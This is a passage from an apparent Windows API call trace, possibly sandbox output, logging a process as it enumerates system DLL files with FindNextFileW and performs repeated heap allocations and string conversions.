(HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.428] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.428] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.429] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x226c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.429] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.429] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.429] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.430] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.430] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x226c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.430] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x226c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.430] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.430] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.430] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.431] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.431] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.431] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.431] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.431] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.432] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.432] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 